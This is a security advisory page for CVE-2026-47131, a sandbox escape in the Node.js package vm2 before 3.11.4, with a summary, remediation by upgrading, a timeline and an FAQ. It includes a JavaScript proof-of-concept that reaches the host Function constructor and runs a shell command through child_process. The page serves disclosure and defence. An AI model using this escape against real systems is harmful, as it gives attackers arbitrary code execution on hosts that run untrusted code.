CVE-2026-47131: vm2: Sandbox Escape

Published May 29, 2026
·
Updated

Summary By combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERRINVALIDARGTYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC js "use strict";

const { VM } = require("vm2"); const vm = new VM();

vm.run( "use strict";

const getProto = Buffer.call.call({}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call({}.lookupSetter, Buffer, "proto");

async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); }

try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("childprocess").execSync("echo pwned", { stdio: "inherit" }); } }

f(); );

Impact Sandbox Escape → RCE

Other sources

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERRINVALIDARGTYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.

MITRE

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.3
3.11.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.4

Event History

May 29, 2026
Advisory Published
via GitHub·05:33 PM
Data Sourced
via GitHub·05:33 PM
DescriptionSeverityWeaknessAffected Software
Jun 12, 2026
CVE Published
via MITRE·02:14 PM
Data Sourced
via MITRE·02:14 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-47131?

CVE-2026-47131 has a critical severity score of 10.

2

How does CVE-2026-47131 affect the system?

CVE-2026-47131 allows an attacker to escape from the sandbox by obtaining the host's TypeError constructor.

3

What software is impacted by CVE-2026-47131?

CVE-2026-47131 affects the npm package vm2.

4

How do I fix CVE-2026-47131?

To fix CVE-2026-47131, update to vm2 version 3.11.4 or later.

5

When was CVE-2026-47131 published?

CVE-2026-47131 was published on May 29, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203